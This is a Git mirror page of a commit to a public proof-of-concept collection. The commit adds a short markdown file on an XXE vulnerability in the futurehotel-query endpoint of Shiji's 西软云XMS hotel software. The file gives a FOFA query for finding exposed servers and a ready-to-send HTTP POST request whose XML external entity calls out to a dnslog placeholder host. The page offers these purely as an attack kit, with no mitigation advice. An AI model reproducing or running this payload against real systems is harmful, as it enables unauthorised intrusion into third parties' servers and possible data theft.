admin/wy876_POC
1
0
Fork 0
mirror of https://github.com/wy876/POC.git synced 2025-02-27 04:39:25 +00:00
Code Issues Packages Projects Releases Wiki Activity

Create 西软云XMS-futurehotel-query接口存在XXE漏洞.md

Browse Source
This commit is contained in:
wy876 2024-03-01 15:13:38 +08:00 committed by GitHub
parent 427e3696b1
commit ea24b4dc16
No known key found for this signature in database
GPG Key ID: B5690EEEBB952194
1 changed files with 18 additions and 0 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

18
西软云XMS-futurehotel-query接口存在XXE漏洞.md Normal file
View File

@ -0,0 +1,18 @@
## 西软云XMS-futurehotel-query接口存在XXE漏洞
## fofa
```
app="shiji-西软云XMS"
```
## poc
```
POST /XopServerRS/rest/futurehotel/query HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.3157.54 Safari/537.36
Connection: close
Content-Type: text/xml
Accept-Encoding: gzip
<!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://xxx.dnslog.cn"> %remote;]>
```